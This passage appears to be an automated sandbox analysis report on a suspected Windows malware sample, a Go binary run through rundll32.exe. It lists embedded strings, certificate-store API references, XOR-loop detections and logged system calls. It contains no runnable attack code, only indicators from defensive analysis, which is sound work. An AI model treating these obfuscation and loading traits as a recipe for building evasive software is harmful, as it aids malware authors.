"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#" (Indicator: "CertCreateCertificateContext"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin"), Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fal" (Indicator: "CertAddCertificateContextToStore"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin"), Found api reference "ting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal fal" (Indicator: "CertVerifyCertificateChainPolicy"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin")2b:T1485,Observed string: "crypto/rand" (Indicator: "crypto/rand") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin Observed string: "at does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does notcrypto/rand: blocked for 60 seconds waiting to read random data from the kernel (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)crypto/aes: internal error: using generic implementation despite hardware support" (Indicator: "at does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does notcrypto/rand: blocked for 60 seconds waiting to read random data from the kernel (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)crypto/aes: internal error: using generic implementation despite hardware support") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/rand.fatal" (Indicator: "crypto/rand.fatal") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/sysrand.fatal" (Indicator: "crypto/internal/sysrand.fatal") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/impl.Register" (Indicator: "crypto/internal/impl.Register") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "type:.eq.crypto/internal/fips140/sha256.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha256.Digest") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "type:.eq.crypto/internal/fips140/sha3.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha3.Digest") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/sysrand.warnBlocked" (Indicator: "crypto/internal/sysrand.warnBlocked") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/sysrand.Read" (Indicator: "crypto/internal/sysrand.Read") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/sysrand.read" (Indicator: "crypto/internal/sysrand.read") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/sysrand.Read.deferwrap1" (Indicator: "crypto/internal/sysrand.Read.deferwrap1") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/entropy.Depleted" (Indicator: "crypto/internal/entropy.Depleted") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/fips140only.init" (Indicator: "crypto/internal/fips140only.init") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/internal/boring/sig.StandardCrypto" (Indicator: "crypto/internal/boring/sig.StandardCrypto") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/rand.init.0" (Indicator: "crypto/rand.init.0") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin, Observed string: "crypto/rand.(*reader).Read" (Indicator: "crypto/rand.(*reader).Read") in Source: 70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin2c:Taec,Found XOR loop in file "sample.bin" at offset 95986; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 871692; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1812068; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2984032; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1927903; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1950047; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2166655; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2170991; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2376655; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2521263; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2576303; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2609295; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2633391; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2635695; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3049933; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 192598; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230409; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230769; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 231169; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 233331; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 255921; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419237; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419933; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 420574; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 430953; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1541272; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1609268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2165359; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538209; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2823412; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3133652; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3156868; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3302748; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3354920; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3619186; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3623308; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3640246; code bytes = 80302d:T277e,"rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004076) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000706b520000000000100000000000000030025200000000000000000000000000000000000000000000000000000000006c0252000000000030025200000000002e00000000000000000000000000000000000000000000000000000000000000000000000000000030025200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000032000000000000000000000000320000320000000000000000000000000c00000c (UID: 00000000-00004076) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000806809000000000010000000000000003002090000000000000000000000000000000000000000000000000000000000740209000000000030020900000000006100000000000000000000000000000000000000000000000000000000000000000000000000000030020900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000061000061000000000000000000000000000000000000000000000000000000000c00000c (UID: 00000000-00003300) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003300) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003456) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000588) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000a068370000000000100000000000000030023700000000000000000000000000000000000000000000000000000000007402370000000000300237000000000064000000000000000000000000000000000000000000000000000000000000000000000000000000300237000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000640000000000000000000000000000000000000000000000000000000004000004 (UID: 00000000-00000588) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000110000000000000000000000000000000000000000000000000000000000000080658a0000000000100000000000000030028a000000000000000000000000000000000000000000000000000000000070028a000000000030028a00000000005c00000000000000000000000000000000000000000000000000000000000000000000000000000030028a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005c00005c0000000000000000000000000000000000000000000000000000000005000005 (UID: 00000000-00001200) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001200) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003096) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000c0699a0000000000100000000000000030029a000000000000000000000000000000000000000000000000000000000068029a000000000030029a00000000001400000000000000000000000000000000000000000000000000000000000000000000000000000030029a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000053000053000000000000000000000000530000530000000000000000000000000b00000b (UID: 00000000-00002896) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002896) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000b0681a0000000000100000000000000030021a000000000000000000000000000000000000000000000000000000000074021a000000000030021a00000000006400000000000000000000000000000000000000000000000000000000000000000000000000000030021a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000640000000000000000000000000000000000000000000000000000000003000003 (UID: 00000000-00000644) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000644) "rundll32.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001100000000000000000000000000000000000000000000000000000000000000c069200000000000100000000000000030022000000000000000000000000000000000000000000000000000000000007002200000000000300220000000000053000000000000000000000000000000000000000000000000000000000000000000000000000000300220000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000530000530000000000000000000000000000000000000000000000000000000008000008 (UID: 00000000-00001908) "rundll32.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001908)2e:Ta46,"rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004076) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003300) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000588) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001200) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002896) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000644) "rundll32.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001908)2f:T110a,"rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004076) "rundll32.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00003300) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003300) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003300) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00003300) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003456) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003456) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003456) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003456) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003456) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000588) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001200) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001200) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003096) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003096) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003096) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003096) "rundll32.exe" called "LoadLibrary" with a parameter C:\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll (UID: 00000000-00002896) "rundll32.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00002896) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002896) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002896) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002896) "rundll32.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00000644) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000644) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000644) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000644) "rundll32.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00001908) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001908) "rundll32.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001908) "rundll32.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001908)30:T5a31,"rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00004076) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003300) "rundll32.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00003456) "rundll32.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 